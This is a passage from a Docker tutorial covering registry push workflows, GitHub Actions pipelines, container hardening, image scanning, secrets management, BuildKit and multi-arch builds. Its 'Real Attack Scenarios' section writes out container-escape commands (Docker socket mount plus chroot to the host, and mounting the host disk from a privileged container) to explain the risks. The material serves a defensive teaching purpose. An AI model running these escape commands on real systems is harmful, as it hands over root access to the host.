      - name: Login to GitHub Container Registry
        uses: docker/login-action@v3
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}  # Auto-available!

      - name: Build and Push
        uses: docker/build-push-action@v5
        with:
          context: .
          push: true
          tags: ghcr.io/${{ github.repository }}/myapp:latest

Google Container Registry / Artifact Registry

# Authenticate gcloud with Docker
gcloud auth configure-docker asia.gcr.io

# New Artifact Registry (recommended over GCR)
gcloud auth configure-docker asia-south1-docker.pkg.dev

# Tag and push
docker tag myapp asia.gcr.io/my-project/myapp:v1.0
docker push asia.gcr.io/my-project/myapp:v1.0

# Artifact Registry (newer, more features)
docker tag myapp asia-south1-docker.pkg.dev/my-project/my-repo/myapp:v1.0
docker push asia-south1-docker.pkg.dev/my-project/my-repo/myapp:v1.0

Registry Comparison

Registry	Type	Cost	Best For
Docker Hub	Cloud	Free (limited) / Paid	Open source, small teams
AWS ECR	Cloud	Per storage + transfer	AWS deployments
Google GCR/AR	Cloud	Per storage + transfer	GCP deployments
GitHub Packages	Cloud	Free for public	Open source + CI/CD
Harbor	Self-hosted	Free (infra cost)	Enterprise, full control
Nexus Repository	Self-hosted	Free/Commercial	Enterprise artifact management

Tip: Deploying to AWS → use ECR (pick the Region closest to your users). Using GitHub Actions → use ghcr.io (free for public repos). Startup or open source → start with the Docker Hub free tier.

Pushing and Pulling Workflows — CI/CD Integration

Integrating the registry workflow with CI/CD is the core of production-ready DevOps. Here is a complete, real-world workflow for a React application.

Note: Workflow Overview: Build → Tag (with version + Git SHA) → Authenticate → Push to Registry → Verify. Every step matters. Tagging with the Git SHA lets you know exactly which commit is running in production.

Complete Registry Push Workflow

#!/bin/bash
# Full CI/CD workflow for a React app
set -e  # Exit on any error

IMAGE_NAME="myreactapp"
REGISTRY="123456789.dkr.ecr.ap-south-1.amazonaws.com"

# Generate meaningful version tags
VERSION=$(git describe --tags --always --dirty 2>/dev/null || echo "dev")
GIT_SHA=$(git rev-parse --short HEAD)
DATE=$(date +%Y%m%d)
BRANCH=$(git rev-parse --abbrev-ref HEAD | tr / -)

echo "Building version: $VERSION (SHA: $GIT_SHA)"

# Step 1: Build with build args for traceability
docker build \
  --build-arg BUILD_DATE=$DATE \
  --build-arg GIT_COMMIT=$GIT_SHA \
  --build-arg VERSION=$VERSION \
  -t $IMAGE_NAME:$VERSION \
  -t $IMAGE_NAME:$GIT_SHA \
  -t $IMAGE_NAME:latest \
  .

echo "Build complete"

# Step 2: Authenticate with ECR
aws ecr get-login-password --region ap-south-1 | \
  docker login --username AWS --password-stdin $REGISTRY
echo "Authenticated with ECR"

# Step 3: Tag all versions for registry
docker tag $IMAGE_NAME:$VERSION $REGISTRY/$IMAGE_NAME:$VERSION
docker tag $IMAGE_NAME:$GIT_SHA $REGISTRY/$IMAGE_NAME:$GIT_SHA
docker tag $IMAGE_NAME:latest $REGISTRY/$IMAGE_NAME:latest

# Step 4: Push all tags
docker push $REGISTRY/$IMAGE_NAME:$VERSION
docker push $REGISTRY/$IMAGE_NAME:$GIT_SHA
docker push $REGISTRY/$IMAGE_NAME:latest
echo "All tags pushed"

# Step 5: Verify push was successful
echo "Recent images in ECR:"
aws ecr describe-images \
  --repository-name $IMAGE_NAME \
  --region ap-south-1 \
  --query 'sort_by(imageDetails, &imagePushedAt)[-5:].{Tags:imageTags,Size:imageSizeInBytes,Pushed:imagePushedAt}' \
  --output table

GitHub Actions — Full CI/CD Pipeline

name: Build, Scan, and Push
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

env:
  REGISTRY: 123456789.dkr.ecr.ap-south-1.amazonaws.com
  IMAGE_NAME: myreactapp

jobs:
  build-and-push:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout code
        uses: actions/checkout@v4
        with:
          fetch-depth: 0  # Full history for git describe

      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          aws-region: ap-south-1

      - name: Login to Amazon ECR
        uses: aws-actions/amazon-ecr-login@v2

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Generate image metadata
        id: meta
        uses: docker/metadata-action@v5
        with:
          images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
          tags: |
            type=sha,prefix=sha-
            type=ref,event=branch
            type=semver,pattern={{version}}
            type=raw,value=latest,enable={{is_default_branch}}

      - name: Build and push
        uses: docker/build-push-action@v5
        with:
          context: .
          push: ${{ github.event_name == 'push' }}  # Only push on merge to main
          tags: ${{ steps.meta.outputs.tags }}
          labels: ${{ steps.meta.outputs.labels }}
          cache-from: type=gha          # GitHub Actions cache
          cache-to: type=gha,mode=max

Caution: Do Not Push on Pull Requests! Pull request builds should only build and test — do not push images. Push only when merging to main/master. That is why push: ${{ github.event_name == 'push' }} is used.

Tip: Speed Up Builds with Cache. cache-from: type=gha and cache-to: type=gha,mode=max use GitHub Actions cache. The first build will be slow; subsequent builds are significantly faster — especially when dependencies have not changed.

Container Security Fundamentals — Why It Matters

Docker containers share the host kernel. This means — if a container escapes, an attacker can reach the host machine. Do not treat security as an afterthought; you must think about it while writing your Dockerfile.

Caution: Container escape is real. In 2019, a runc vulnerability (CVE-2019-5736) allowed attackers to access the host machine from inside a container. In 2020, a Docker Desktop vulnerability followed. This is not theoretical — production systems have been compromised. Always follow security fundamentals.

Common Container Vulnerabilities

#	Vulnerability	Risk Level	Impact
1	Running as root	Critical	Container escape, host access
2	Outdated base images (CVEs)	Critical	Known exploits in production
3	Hardcoded secrets in image	Critical	Credential theft via docker history
4	Privileged mode	Critical	Full host access
5	Excessive capabilities	High	Privilege escalation
6	No resource limits	High	Denial of Service (fork bomb)
7	Unscanned images	High	Unknown vulnerabilities
8	Docker socket exposed	Critical	Complete host compromise

Real Attack Scenarios

# Scenario 1: Secret leakage via docker history
docker history myapp:latest --no-trunc
# IMAGE     CREATED   CREATED BY
# abc123    ...       /bin/sh -c export API_KEY=sk-prod-secret123 && node setup.js
#                     ^^^^ VISIBLE TO ANYONE who pulls the image!

# Scenario 2: Crypto mining via compromised public image
# Attacker pushes malicious "ubuntu:latest" to a similarly-named registry
# Your CI/CD pulls it, runs a crypto miner in your cloud (you pay the bill!)

# Scenario 3: Docker socket exposure
docker run -v /var/run/docker.sock:/var/run/docker.sock myapp
# Attacker inside container can now:
docker run -v /:/host alpine chroot /host  # Read/write host filesystem!

# Scenario 4: Privileged container escape
docker run --privileged alpine
# Inside container:
mount /dev/sda1 /mnt  # Mount host disk
chroot /mnt           # Root access to host!

Caution: Never mount /var/run/docker.sock into a container in production unless absolutely necessary (such as for CI agents). Any container that can access the Docker socket effectively has root access to the entire machine.

Note: Container security is layered: secure Dockerfile → runtime security flags → network policies → image scanning → secrets management → monitoring. If one layer fails, the next catches it. This is the "defense in depth" model.

Secure Dockerfile Practices — 20+ Best Practices

Security starts at build time. An insecure Dockerfile cannot be fixed at runtime. Follow these best practices for production-ready Dockerfiles.

Complete Secure Dockerfile Template

# ============================================
# SECURE DOCKERFILE TEMPLATE — React/Node App
# ============================================

# Best Practice #1: Use specific versions — never "latest" or just "node"
# The "latest" tag can change, breaking your build
FROM node:18.19.0-alpine3.19

# Best Practice #2: Use minimal base images
# Security risk order (most to least): ubuntu > debian > debian-slim > alpine > distroless
# Alpine has 98% fewer packages = smaller attack surface

# Best Practice #3: Update packages in base image (apply security patches)
RUN apk update && \
    apk upgrade && \
    rm -rf /var/cache/apk/*
# Note: Alpine uses apk; Debian/Ubuntu uses apt-get

# Best Practice #4: Create a non-root user EARLY
# Never run the app as root!
RUN addgroup --system --gid 1001 appgroup && \
    adduser --system --uid 1001 --ingroup appgroup appuser

WORKDIR /app

# Best Practice #5: Copy dependency files FIRST (caching + security)
# Set proper ownership during COPY with --chown
COPY --chown=appuser:appgroup package*.json ./

# Best Practice #6: Install ONLY production dependencies
RUN npm ci --only=production && \
    npm cache clean --force
# npm ci = exact versions from package-lock.json (more reproducible)

# Best Practice #7: Copy app source with proper ownership
COPY --chown=appuser:appgroup . .

# Best Practice #8: Build (if needed) while still root for permissions
# Then switch to non-root for runtime
RUN npm run build

# Best Practice #9: Remove dev files and build artifacts
RUN rm -rf src/ tests/ *.test.js .env.* coverage/

# Best Practice #10: Switch to non-root user — everything below runs as appuser
USER appuser

# Best Practice #11: Expose ONLY required ports (documentation, not enforcement)
EXPOSE 3000

# Best Practice #12: Add HEALTHCHECK — K8s/Docker knows if app is actually working
HEALTHCHECK --interval=30s --timeout=5s --start-period=30s --retries=3 \
  CMD node -e "require('http').get('http://localhost:3000/health', r => process.exit(r.statusCode===200?0:1))" || exit 1

# Best Practice #13: Use exec form CMD (not shell form)
# Shell form: CMD "node server.js" → /bin/sh -c "node server.js" (signals don't propagate!)
# Exec form: CMD ["node", "server.js"] → direct process (signals work correctly)
CMD ["node", "server.js"]

Security Anti-Patterns — Never Do This

# ❌ DANGEROUS: Hardcoded secrets visible in docker history!
ENV DATABASE_PASSWORD=mysupersecretpassword
ENV AWS_SECRET_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# ❌ DANGEROUS: Even in RUN, it stays in layer history
RUN export API_KEY=abc123secret && npm run setup

# ❌ BAD: Copying entire directory without .dockerignore
COPY . .
# This might include: .env, .git/, node_modules/, passwords.txt, etc.

# ❌ BAD: Using latest tag
FROM node:latest  # Which version? Will break unexpectedly!

# ❌ BAD: Running as root (default if no USER instruction)
# root inside container → if compromised, easier to escalate

# ❌ BAD: Adding unnecessary packages
RUN apt-get install -y curl wget vim git build-essential
# More packages = larger attack surface

# ❌ BAD: Ignoring package-lock.json
RUN npm install  # Might install different versions each time!

.dockerignore — First Line of Defense

# Always maintain a comprehensive .dockerignore!

# Secrets and config
.env
.env.*
.env.local
.env.production
secrets/
*.pem
*.key
*.cert

# Development artifacts
node_modules/
npm-debug.log*
yarn-error.log

# Git history (can contain old secrets!)
.git/
.gitignore

# Tests and coverage (not needed in production image)
tests/
__tests__/
*.test.js
*.spec.js
coverage/
.nyc_output/

# Documentation
README.md
docs/
*.md

# IDE files
.vscode/
.idea/
*.swp

# CI/CD configs (not needed in image)
.github/
.gitlab-ci.yml
Jenkinsfile

# Build artifacts (will be regenerated)
dist/
build/

Caution: .env MUST be in .dockerignore. If you use COPY . . and .env is not excluded, all your secrets end up in the image. Anyone can see them via docker history myapp or image inspection. Real data breaches have happened this way.

Tip: Multi-stage builds give you both security and smaller image sizes. Build tools (gcc, make, npm, pip) do not belong in a production image. Copy only the runtime artifacts into the final stage — no build tools means a smaller attack surface and 60–80% smaller images.

Note: Google's distroless images contain no shell, no package manager, and no utilities — only the app runtime. An attacker cannot even open a shell. Use gcr.io/distroless/nodejs18-debian11. The trade-off is harder debugging — use the debug variant for that purpose.

Runtime Security — Sandboxing Containers

After building a secure Dockerfile, apply security flags at runtime. These flags keep the container in a tight sandbox — even if the container is compromised, the damage is contained.

Runtime Security Flags

# 1. Drop ALL capabilities, add back only what's needed
# Linux capabilities are specific privileges that root has
docker run --cap-drop ALL --cap-add NET_BIND_SERVICE nginx
# Drops 38 capabilities and adds back only port binding < 1024

# 2. Read-only filesystem — prevent tampering
docker run --read-only --tmpfs /tmp --tmpfs /var/run myapp
# --read-only: container filesystem is read-only
# --tmpfs /tmp: in-memory temp storage (data lost on restart)

# 3. No new privileges — prevent sudo/setuid escalation
docker run --security-opt no-new-privileges myapp
# Even if a setuid binary exists, it cannot escalate privileges

# 4. Custom seccomp profile — limit system calls
docker run --security-opt seccomp=/path/to/seccomp-profile.json myapp
# Default Docker seccomp blocks 44 of 300+ syscalls
# A custom profile can be more restrictive

# 5. AppArmor profile — Mandatory Access Control
docker run --security-opt apparmor=docker-default myapp

# 6. Resource limits — prevent Denial of Service
docker run \
  --memory=512m \           # Max RAM
  --memory-swap=512m \      # No swap (set equal to memory)
  --cpus=0.5 \              # Max 0.5 CPU cores
  --pids-limit=100 \        # Max 100 processes (prevents fork bombs!)
  --ulimit nofile=1024:1024 \  # Max open file descriptors
  myapp

# 7. NEVER use --privileged in production!
# docker run --privileged myapp  ← Gives container host-level access!

# Complete secure run command
docker run \
  --cap-drop ALL \
  --cap-add NET_BIND_SERVICE \
  --read-only \
  --tmpfs /tmp \
  --security-opt no-new-privileges \
  --memory=512m \
  --cpus=0.5 \
  --pids-limit=100 \
  --user 1001:1001 \
  myapp:v1.0.0

Linux Capabilities — What to Grant and What to Deny

Capability	Purpose	Use in Production?
`NET_BIND_SERVICE`	Bind ports < 1024 (80, 443)	Only if port < 1024
`NET_ADMIN`	Configure networking	Only for network tools
`CHOWN`	Change file ownership	Very rarely
`DAC_OVERRIDE`	Bypass file permissions	Never
`FOWNER`	Bypass owner restrictions	Never
`SYS_ADMIN`	Broad system admin access	NEVER (equivalent to root!)
`SYS_PTRACE`	Process tracing (debuggers)	Never in production
`KILL`	Send signals to processes	Rarely needed

User Namespace Remapping (Advanced)

// /etc/docker/daemon.json — User namespace remapping
// Container root (UID 0) becomes an unprivileged user on the host!
{
  "userns-remap": "default"
}
// After this: sudo systemctl restart docker
// Container root → host UID 100000 (non-privileged)

Caution: Never use --privileged in production. The --privileged flag effectively makes the container root on the host, bypassing the security context entirely. If any tutorial asks you to use --privileged without explaining why, that tutorial is wrong. Use it only for specific, well-understood cases such as certain CI/CD systems.

Tip: Docker's default seccomp profile already blocks 44+ dangerous syscalls. To tighten further, create a custom profile. Docker's documentation provides the default profile as a starting point.

Image Scanning — Finding CVEs Before Production

Your image is built and pushed — but does it contain known vulnerabilities? Image scanning tools automatically check for CVEs (Common Vulnerabilities and Exposures) in your base image and dependencies.

Note: A CVE (Common Vulnerability and Exposure) is the unique identifier for a publicly known security vulnerability. For example, CVE-2021-44228 was the Log4Shell vulnerability. A scanner compares your image's packages against a CVE database.

Trivy — Most Popular Free Scanner

# Install Trivy (Linux/macOS)
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | \
  sh -s -- -b /usr/local/bin

# macOS via Homebrew
brew install trivy

# Basic image scan
trivy image nginx:latest

# Scan with severity filter — only show HIGH and CRITICAL
trivy image --severity HIGH,CRITICAL nginx:latest

# Fail CI/CD if CRITICAL vulnerabilities found (exit code 1)
trivy image --exit-code 1 --severity CRITICAL myapp:latest

# Scan your local Dockerfile for misconfigurations
trivy config ./Dockerfile

# Scan docker-compose.yml for security issues
trivy config ./docker-compose.yml

# Output as JSON for automated processing
trivy image --format json --output results.json myapp:latest

# Scan a GitHub repository (without cloning)
trivy repo https://github.com/user/myrepo

# Generate SBOM (Software Bill of Materials)
trivy image --format cyclonedx --output sbom.json myapp:latest

# GitHub Actions — Trivy scan in CI/CD
- name: Run Trivy vulnerability scanner
  uses: aquasecurity/trivy-action@master
  with:
    image-ref: myapp:latest
    format: sarif
    output: trivy-results.sarif
    severity: CRITICAL,HIGH
    exit-code: 1  # Fail build on critical issues

- name: Upload Trivy results to GitHub Security tab
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: trivy-results.sarif

Docker Scout — Built-in Scanner

# Docker Scout (built-in since Docker Desktop 4.17)

# Quick vulnerability overview
docker scout quickview myapp:latest

# Detailed CVE list
docker scout cves myapp:latest

# Filter by severity
docker scout cves --only-severity critical myapp:latest

# Compare two versions (what changed?)
docker scout compare --to myapp:v1.0 myapp:v2.0

# Get recommendations (what base image to use?)
docker scout recommendations myapp:latest

# Local filesystem scan
docker scout cves fs://./  # Scan current directory

Snyk — Enterprise Scanner

# Install Snyk CLI
npm install -g snyk

# Authenticate (free account at snyk.io)
snyk auth

# Scan Docker image
snyk container test nginx:latest

# Scan with fail threshold
snyk container test --severity-threshold=high nginx:latest

# Monitor over time (track vulnerabilities as they are discovered)
snyk container monitor nginx:latest

# Snyk in CI/CD (GitHub Actions)
- name: Run Snyk to check Docker image for vulnerabilities
  uses: snyk/actions/docker@master
  env:
    SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
  with:
    image: myapp:latest
    args: --severity-threshold=high

Tip: For development: use Docker Scout (built-in, no setup). For CI/CD: use Trivy (free, fast, no registration). For enterprise: use Snyk or Aqua Security (paid, more features). ECR users: enable "Scan on Push" in repository settings — it is automatic and free.

Note: Achieving zero vulnerabilities is an unrealistic goal. Having LOW/MEDIUM vulnerabilities in production images is normal — fixing everything is not feasible. Focus on: always fix CRITICAL, fix or document exceptions for HIGH, address MEDIUM only if exploitable. False positives also occur — triage carefully.

Secrets Management — Never Bake Secrets Into Images

The most common mistake in container security is hardcoding secrets (passwords, API keys, tokens) into Docker images. Once an image is pushed to a registry, anyone who pulls it can inspect the secrets.

Caution: docker history is a secret leakage tool. Every Dockerfile instruction creates an image layer. ENV API_KEY=secret is permanently baked into that layer — even if you unset it later. Anyone can see it via docker history --no-trunc myapp. Real incident: a company put API keys in their Dockerfile, pushed the image as public to Docker Hub, and received a $50,000 AWS bill from crypto mining.

Never Do This

# ❌ EXTREMELY DANGEROUS — visible in docker history forever!
ENV DATABASE_PASSWORD=mysupersecretpassword123
ENV AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
ENV JWT_SECRET=my-jwt-secret-key

# ❌ ALSO DANGEROUS — even in RUN, it stays in the layer!
RUN export API_KEY=sk-prod-abc123 && ./configure.sh

# ❌ BAD — copying .env file into image
COPY .env /app/.env  # .env is now inside the image layers!

# Check what's visible (run this on your image)
docker history --no-trunc myapp | grep -i "password\|secret\|key\|token"

Approach 1: Runtime Environment Variables

# Pass at runtime — not baked into the image
docker run -e DATABASE_PASSWORD=secret myapp

# From a file — more manageable (file security is your responsibility)
docker run --env-file secrets.env myapp

# secrets.env format (add this file to .gitignore!)
# DATABASE_URL=postgresql://user:pass@host:5432/db
# API_KEY=sk-prod-abc123
# JWT_SECRET=super-secret-jwt-key

# CAVEAT: Still visible in 'docker inspect'!
docker inspect myapp | jq '.[0].Config.Env'
# [
#   "DATABASE_PASSWORD=secret",  ← Visible to anyone with docker inspect!
#   "PATH=/usr/local/sbin:..."
# ]

Approach 2: Docker Secrets (Swarm Mode)

# Create a Docker secret (stored encrypted in Swarm Raft)
echo "mysupersecretpassword" | docker secret create db_password -
printf "sk-prod-abc123secret" | docker secret create api_key -

# List secrets (values NOT shown)
docker secret ls

# Use in service (mounted as file at /run/secrets/secretname)
docker service create \
  --secret db_password \
  --secret api_key \
  --env DB_PASSWORD_FILE=/run/secrets/db_password \
  --env API_KEY_FILE=/run/secrets/api_key \
  myapp

# Inside container, secrets are files:
cat /run/secrets/db_password  # mysupersecretpassword
cat /run/secrets/api_key      # sk-prod-abc123secret

# docker-compose.yml with secrets (Swarm mode)
version: "3.8"

secrets:
  db_password:
    external: true    # Secret already created via docker secret create
  api_key:
    external: true

services:
  api:
    image: myapp:latest
    secrets:
      - db_password
      - api_key
    environment:
      # Point to secret files, not actual values
      - DB_PASSWORD_FILE=/run/secrets/db_password
      - API_KEY_FILE=/run/secrets/api_key

Approach 3: AWS Secrets Manager (Production Best Practice)

#!/bin/sh
# entrypoint.sh — Fetch secrets at startup from AWS Secrets Manager
# Container uses an IAM role (no hardcoded AWS credentials needed!)

set -e

echo "Fetching secrets from AWS Secrets Manager..."

# Fetch database password
export DB_PASSWORD=$(aws secretsmanager get-secret-value \
  --secret-id prod/myapp/db_password \
  --query SecretString \
  --output text \
  --region ap-south-1)

# Fetch API key
export API_KEY=$(aws secretsmanager get-secret-value \
  --secret-id prod/myapp/api_key \
  --query SecretString \
  --output text \
  --region ap-south-1)

echo "Secrets loaded successfully"

# Execute the main command (e.g., node server.js)
exec "$@"

Approach 4: BuildKit Secret Mounts (Build-time Secrets)

# syntax=docker/dockerfile:1
FROM node:18-alpine

WORKDIR /app

# Secret mounted ONLY during this RUN — not stored in the image layer!
RUN --mount=type=secret,id=npmrc,target=/root/.npmrc \
    npm install  # Can access private npm registry using .npmrc secret

# Private repo clone during build
RUN --mount=type=ssh \
    git clone git@github.com:myorg/private-repo.git /app/lib

# Build with secret (secret never enters the image!)
docker build \
  --secret id=npmrc,src=$HOME/.npmrc \
  -t myapp .

# SSH forwarding for private repos
eval $(ssh-agent)
ssh-add ~/.ssh/id_rsa
docker build --ssh default -t myapp .

Tip: Always add .env to both .gitignore and .dockerignore. Commit a .env.example template without values so team members know which variables are required. In production, never use .env files — use a proper secrets management solution.

Note: Secrets manager options include: AWS Secrets Manager (paid, excellent rotation support), HashiCorp Vault (free, powerful, complex), Kubernetes Secrets (base64-encoded — not truly secret!), Doppler (developer-friendly SaaS), Azure Key Vault, and GCP Secret Manager. Choose based on your cloud provider.

BuildKit — Modern Docker Build Engine

BuildKit is the default build engine in Docker 23+. It is much faster, safer, and more feature-rich than the older builder. Parallel builds, better caching, secret mounts — all of these come from BuildKit.

Note: Old builder: sequential layers, no cache import/export, no secret mounts. BuildKit: parallel stage builds, registry cache, secret mounts, SSH forwarding, multi-arch support. Master BuildKit once and CI/CD build times improve dramatically.

Enabling BuildKit

# Check if BuildKit is available
docker buildx version
# github.com/docker/buildx v0.12.0 docker-desktop

# Docker 23+ enables it automatically
# For older versions:

# Option 1: Per-build environment variable
DOCKER_BUILDKIT=1 docker build -t myapp .

# Option 2: Enable permanently in daemon.json
sudo nano /etc/docker/daemon.json
# Add: { "features": { "buildkit": true } }
sudo systemctl restart docker

# Option 3: Set DOCKER_BUILDKIT in shell profile
echo 'export DOCKER_BUILDKIT=1' >> ~/.bashrc

BuildKit Special Features — syntax=docker/dockerfile:1

# This comment enables the latest BuildKit Dockerfile syntax
# syntax=docker/dockerfile:1

FROM node:18-alpine

WORKDIR /app

# Feature 1: Secret mounts — never stored in image layers!
RUN --mount=type=secret,id=npmrc,target=/root/.npmrc \
    npm install --legacy-peer-deps

# Feature 2: Cache mounts — persist between builds!
RUN --mount=type=cache,target=/root/.npm \
    npm ci  # npm cache persists across builds = MUCH faster!

# Feature 3: Bind mounts — mount host directory without COPY
RUN --mount=type=bind,source=package.json,target=package.json \
    --mount=type=bind,source=package-lock.json,target=package-lock.json \
    npm ci

# Feature 4: SSH forwarding
RUN --mount=type=ssh \
    git clone git@github.com:private/repo.git

docker buildx Commands

# List all builders
docker buildx ls

# Create a new builder with docker-container driver (more features)
docker buildx create \
  --name mybuilder \
  --driver docker-container \
  --bootstrap
docker buildx use mybuilder

# Inspect builder (shows supported platforms)
docker buildx inspect mybuilder

# Build for current platform (like regular docker build)
docker buildx build -t myapp .

# Build for a specific platform
docker buildx build --platform linux/amd64 -t myapp:amd64 --load .
docker buildx build --platform linux/arm64 -t myapp:arm64 --load .

# Build and push multi-arch image in one command!
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  -t username/myapp:latest \
  --push \
  .

# Remove builder
docker buildx rm mybuilder

Registry Cache — CI/CD Game Changer

# Export cache to registry (persists between CI runs)
docker buildx build \
  --cache-to type=registry,ref=myapp:buildcache,mode=max \
  --cache-from type=registry,ref=myapp:buildcache \
  -t myapp:latest \
  --push \
  .
# mode=max: Cache all intermediate layers (maximum cache hits)
# mode=min: Cache only final layer (smaller cache size)

# GitHub Actions — Optimal BuildKit caching
- name: Set up Docker Buildx
  uses: docker/setup-buildx-action@v3

- name: Build and push with cache
  uses: docker/build-push-action@v5
  with:
    context: .
    push: true
    tags: myapp:latest
    cache-from: type=gha          # GitHub Actions cache (free!)
    cache-to: type=gha,mode=max   # Save cache for next run
    # Result: 5-minute builds → 45-second builds on cache hit!

Tip: Without caching: a Node app build takes 4–5 minutes. With caching (dependencies unchanged): 30–60 seconds. For large enterprise apps: 20 minutes → 2 minutes. This difference directly affects production deployment frequency.

Note: With multi-arch builds, --load (local image) and --push (registry) cannot be used simultaneously in most cases. For single-arch builds use --load; for multi-arch, push directly to the registry with --push.

Multi-Architecture Images — Supporting ARM and x86

You develop on a MacBook M1/M2/M3 (ARM64) and deploy to AWS EC2 (amd64). Multi-arch images work on both platforms without issues — no need for separate Dockerfiles.

Note: Apple Silicon Macs (ARM64) have become standard dev machines. AWS Graviton instances (ARM64) offer the same performance at 40% lower cost than x86. If your image only supports amd64, ARM machines will produce a "wrong platform" error. Build multi-arch images to support everyone.

Setup and Build

# Step 1: Install QEMU (enables emulation of other architectures)
docker run --privileged --rm tonistiigi/binfmt --install all
# Installs QEMU user-space emulators for ARM, etc.

# Verify QEMU installation
ls /proc/sys/fs/binfmt_misc/
# Should show: qemu-aarch64, qemu-arm, etc.

# Step 2: Create a multi-arch capable builder
docker buildx create \
  --name multiarch-builder \
  --driver docker-container \
  --bootstrap
docker buildx use multiarch-builder

# Step 3: Inspect — verify which platforms are supported
docker buildx inspect multiarch-builder --bootstrap
# Platforms: linux/amd64, linux/arm64, linux/arm/v7, linux/386...

# Step 4: Build and push multi-arch image in one command
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  --tag username/myapp:latest \
  --tag username/myapp:v1.0.0 \
  --push \
  .

# Step 5: Verify multi-arch manifest
docker manifest inspect username/myapp:latest
# Shows separate manifests for each architecture

Platform-Specific Handling in Dockerfile

# syntax=docker/dockerfile:1

# BuildKit injects these automatically
ARG TARGETPLATFORM
ARG TARGETARCH
ARG TARGETOS

FROM node:18-alpine

# Platform-specific commands (if needed)
RUN case "$TARGETARCH" in \
    amd64) echo "Building for x86_64" ;; \
    arm64) echo "Building for ARM64" ;; \
    arm)   echo "Building for ARM v7" ;; \
    esac

# Most Node.js apps need no platform-specific code
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .

USER node
EXPOSE 3000
CMD ["node", "server.js"]

GitHub Actions — Multi-Arch CI/CD

name: Multi-Arch Build
on:
  push:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up QEMU (ARM emulation)
        uses: docker/setup-qemu-action@v3
        with:
          platforms: linux/amd64,linux/arm64

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Login to Docker Hub
        uses: docker/login-action@v3
        with:
          username: ${{ secrets.DOCKER_USERNAME }}
          password: ${{ secrets.DOCKER_TOKEN }}

      - name: Build and push multi-arch
        uses: docker/build-push-action@v5
        with:
          context: .
          platforms: linux/amd64,linux/arm64
          push: true
          tags: username/myapp:latest
          cache-from: type=gha
          cache-to: type=gha,mode=max

Note: QEMU emulation makes ARM64 builds 5–10x slower on an amd64 machine. Solutions: use native ARM builders (GitHub has paid ARM64 runners), or run matrix builds (amd64 and arm64 in parallel). QEMU is fine for small images.

Tip: AWS Graviton3 (arm64) instances are 20–40% cheaper than equivalent x86 instances for the same workload. Build one multi-arch image, deploy on Graviton — significant cost savings at scale. t4g instances are cheaper than t3, c7g instances are cheaper than c6i.

Docker Context — Managing Multiple Docker Hosts

Docker contexts let you manage multiple Docker hosts from one machine — local, staging server, production server — all with the same docker command. Switch context and all commands go there.

Note: Contexts are useful when you want to run Docker commands on remote servers without SSH-ing in manually, or when managing multiple environments (dev, staging, production) from a CI/CD workflow.

Context Management Commands

# List all contexts (* = currently active)
docker context ls
# NAME           DESCRIPTION   DOCKER ENDPOINT               KUBERNETES ENDPOINT
# default *      ...           unix:///var/run/docker.sock
# remote-server  ...           ssh://deploy@203.0.113.10

# Create context for a remote server (uses SSH)
docker context create remote-server \
  --description "Production server" \
  --docker "host=ssh://deploy@203.0.113.10"

# Create context with a specific SSH key
docker context create staging \
  --docker "host=ssh://ubuntu@staging.myapp.com"

# Switch to remote context
docker context use remote-server
# All docker commands now go to the remote host!

docker ps      # Shows containers on remote server!
docker images  # Shows images on remote server!
docker run -d nginx  # Runs on remote server!

# Switch back to local
docker context use default

# One-off command in a specific context (without switching)
docker --context remote-server ps
docker --context remote-server logs myapp -f

# Inspect a context
docker context inspect remote-server

Export/Import Contexts

# Export context (share with team)
docker context export remote-server > production.dockercontext

# Import on another machine
docker context import production-server production.dockercontext

# Remove a context
docker context rm old-server

Context with AWS ECS

# Create ECS context (deploy directly to ECS!)
docker context create ecs myecscontext
# Prompts for AWS credentials/profile

# Switch to ECS context
docker context use myecscontext

# Now docker compose commands deploy to ECS!
docker compose up  # Deploys to ECS Fargate!

Tip: Define hosts in ~/.ssh/config, then reference them in a context: docker context create prod --docker "host=ssh://prod-server". SSH config can include jump hosts and identity files — complex infrastructure can be managed cleanly this way.

Caution: A common mistake is switching to a remote context, doing some work, and forgetting about it. The next local command runs on the remote host instead. Always check the current context with docker context ls. Consider showing the current context in your shell prompt using Starship or oh-my-zsh plugins.

Docker Plugins — Extending Functionality

Docker plugins extend Docker daemon capabilities with custom volume drivers, network drivers, and authorization plugins. They are useful in enterprise environments and for integrating cloud storage.

Note: Plugin types — Volume plugins: connect cloud storage (AWS EBS, NFS, GlusterFS) to Docker volumes. Network plugins: custom networking (Weave, Calico, Flannel). Authorization plugins: centralized access control defining what each container is allowed to do.

Volume Plugins

# List installed plugins
docker plugin ls

# Install NFS volume plugin (mount NFS shares as Docker volumes)
docker plugin install vieux/sshfs DEBUG=1

# Install local-persist plugin (volumes survive container removal)
docker plugin install cwspear/docker-local-persist-volume-plugin

# Enable/disable plugin
docker plugin enable pluginname
docker plugin disable pluginname

# Remove plugin
docker plugin rm pluginname

# Inspect plugin
docker plugin inspect vieux/sshfs

# SSHFS Plugin — Mount a remote directory as a Docker volume
# Useful for: shared config files, remote storage

# First install the plugin
docker plugin install vieux/sshfs

# Create volume using plugin
docker volume create \
  --driver vieux/sshfs \
  --opt sshcmd=user@remote-host:/path/to/dir \
  --opt password=mysshpassword \
  remote-data

# Use volume in container
docker run -v remote-data:/app/data myapp

# AWS EBS volume plugin (for persistent EBS volumes)
docker plugin install rexray/ebs \
